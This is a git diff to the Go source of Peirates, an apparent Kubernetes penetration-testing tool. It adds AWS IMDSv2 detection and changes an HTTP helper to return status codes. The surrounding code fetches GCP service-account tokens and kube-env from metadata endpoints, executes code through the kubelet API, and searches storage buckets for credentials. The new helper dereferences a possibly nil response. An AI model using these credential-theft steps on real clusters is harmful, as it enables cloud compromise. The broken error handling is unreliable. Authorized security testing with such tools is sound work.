diff --git a/cloud_detection.go b/cloud_detection.go index f247f73..2967122 100644 --- a/cloud_detection.go +++ b/cloud_detection.go @@ -30,6 +30,14 @@ func populateAndCheckCloudProviders() string { CustomHeaderValue: "", ResultString: "meta-data", }, + { + Name: "AWS (IMDSv2)", + URL: "http://169.254.169.254/latest/api/token", + HTTPMethod: "PUT", + CustomHeader: "X-aws-ec2-metadata-token-ttl-seconds", + CustomHeaderValue: "21600", + ResultString: "", + }, { Name: "Azure", URL: "http://169.254.169.254/metadata/v1/InstanceInfo", @@ -61,6 +69,7 @@ func populateAndCheckCloudProviders() string { Timeout: 1 * time.Second, } url := "http://169.254.169.254/" + // IMDSv2 will return a 401 in this case _, err := client.Get(url) if err != nil { return "-- Public Cloud Provider not detected --" @@ -71,14 +80,21 @@ func populateAndCheckCloudProviders() string { fmt.Printf("Checking %s...\n", provider.Name) var response string + var statusCode int var lines []HeaderLine if provider.CustomHeader != "" { line := HeaderLine{LHS: provider.CustomHeader, RHS: provider.CustomHeaderValue} lines = append(lines, line) - response = GetRequest(provider.URL, lines, true) + response, statusCode = GetRequest(provider.URL, lines, true) } else { - response = GetRequest(provider.URL, nil, true) + response, statusCode = GetRequest(provider.URL, nil, true) + } + + if provider.Name == "AWS (IMDSv2)" { + if statusCode == http.StatusOK { + return provider.Name + } } if strings.Contains(response, provider.ResultString) { diff --git a/exec-via-kubelet-api.go b/exec-via-kubelet-api.go index 8b577aa..5aa70d4 100644 --- a/exec-via-kubelet-api.go +++ b/exec-via-kubelet-api.go @@ -50,7 +50,7 @@ func ExecuteCodeOnKubelet(connectionString ServerInfo, serviceAccounts *[]Servic println("[+] Kubelet Pod Listing URL: " + nodeName + " - " + unauthKubeletPortURL) println("[+] Grabbing Pods from node: " + nodeName) - runningPodsBody := GetRequest(unauthKubeletPortURL, headers, false) + runningPodsBody, _ := GetRequest(unauthKubeletPortURL, headers, false) if (runningPodsBody == "") || (strings.HasPrefix(runningPodsBody, "ERROR:")) { println("[-] Kubelet request for running pods failed - using this URL:", unauthKubeletPortURL) continue nodeLoop diff --git a/gcp.go b/gcp.go index 9555c74..6cc7ee1 100644 --- a/gcp.go +++ b/gcp.go @@ -27,7 +27,7 @@ func GetGCPBearerTokenFromMetadataAPI(account string) (string, time.Time, error) baseURL := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" urlSvcAccount := baseURL + account + "/token" - reqTokenRaw := GetRequest(urlSvcAccount, headers, false) + reqTokenRaw, _ := GetRequest(urlSvcAccount, headers, false) // TODO: Add a check for a 200 status code if (reqTokenRaw == "") || (strings.HasPrefix(reqTokenRaw, "ERROR:")) { @@ -92,7 +92,7 @@ func KopsAttackGCP(serviceAccounts *[]ServiceAccount) (err error) { headers = []HeaderLine{ HeaderLine{"Metadata-Flavor", "Google"}, } - projectID := GetRequest("http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id", headers, false) + projectID, _ := GetRequest("http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id", headers, false) if (projectID == "") || (strings.HasPrefix(projectID, "ERROR:")) { msg := "[-] Could not get GCP project from metadata API" println(msg) @@ -108,7 +108,7 @@ func KopsAttackGCP(serviceAccounts *[]ServiceAccount) (err error) { // curl -s -H 'Metadata-Flavor: Google' -H "Authorization: Bearer $(cat bearertoken)" -H "Accept: json" https://www.googleapis.com/storage/v1/b/?project=$(cat projectid) urlListBuckets := "https://www.googleapis.com/storage/v1/b/?project=" + projectID - bucketListRaw := GetRequest(urlListBuckets, headers, false) + bucketListRaw, _ := GetRequest(urlListBuckets, headers, false) if (bucketListRaw == "") || (strings.HasPrefix(bucketListRaw, "ERROR:")) { msg := "[-] blank bucket list or error retriving bucket list" println(msg) @@ -132,7 +132,7 @@ eachbucket: for _, line := range bucketUrls { println("Checking bucket for credentials:", line) urlListObjects := line + "/o" - bodyListObjects := GetRequest(urlListObjects, headers, false) + bodyListObjects, _ := GetRequest(urlListObjects, headers, false) if (bodyListObjects == "") || (strings.HasPrefix(bodyListObjects, "ERROR:")) { continue } @@ -152,7 +152,7 @@ eachbucket: saTokenURL := objectURL + "?alt=media" // We use the same headers[] from the previous GET request. - bodyToken := GetRequest(saTokenURL, headers, false) + bodyToken, _ := GetRequest(saTokenURL, headers, false) if (bodyToken == "") || (strings.HasPrefix(bodyToken, "ERROR:")) { continue eachbucket } diff --git a/http_utils.go b/http_utils.go index 447a81a..22c1cbc 100644 --- a/http_utils.go +++ b/http_utils.go @@ -126,31 +126,29 @@ func DoHTTPRequestAndGetBody(req *http.Request, https bool, ignoreTLSErrors bool // GetRequest is a simple helper function for making HTTP GET requests to the // provided URL with custom headers, and the option to ignore TLS errors. // For a more advanced helper, see DoHTTPRequestAndGetBody. -func GetRequest(url string, headers []HeaderLine, ignoreTLSErrors bool) string { +func GetRequest(url string, headers []HeaderLine, ignoreTLSErrors bool) (string, int) { req, err := http.NewRequest("GET", url, nil) + client := &http.Client{} if err != nil { fmt.Printf("[-] GetRequest failed to construct an HTTP request from URL %s : %s\n", url, err.Error()) - return "" + return "", req.Response.StatusCode } for _, header := range headers { req.Header.Add(header.LHS, header.RHS) } - https := false - if strings.HasPrefix(url, "https:") { - https = true - } - - reponse, err := DoHTTPRequestAndGetBody(req, https, ignoreTLSErrors, "") + response, err := client.Do(req) if err != nil { fmt.Printf("[-] GetRequest could not perform request to %s : %s\n", url, err.Error()) - return "" + return "", response.StatusCode } + defer response.Body.Close() + body, _ := ioutil.ReadAll(response.Body) - return string(reponse) + return string(body), response.StatusCode } func createHTTPrequest(method string, urlWithoutValues string, headers []HeaderLine, paramLocation string, params map[string]string) (*http.Request, error) { diff --git a/peirates.go b/peirates.go index 331341a..b1a9365 100644 --- a/peirates.go +++ b/peirates.go @@ -909,7 +909,7 @@ func Main() { {"Metadata-Flavor", "Google"}, } url := "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" - svcAcctListRaw := GetRequest(url, headers, false) + svcAcctListRaw, _ := GetRequest(url, headers, false) if (svcAcctListRaw == "") || (strings.HasPrefix(svcAcctListRaw, "ERROR:")) { break } @@ -940,7 +940,7 @@ func Main() { headers = []HeaderLine{ {"Metadata-Flavor", "Google"}, } - kubeEnv := GetRequest("http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env", headers, false) + kubeEnv, _ := GetRequest("http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env", headers, false) if (kubeEnv == "") || (strings.HasPrefix(kubeEnv, "ERROR:")) { println("[-] Error - could not perform request http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env/") // TODO: Should we get error code the way we used to: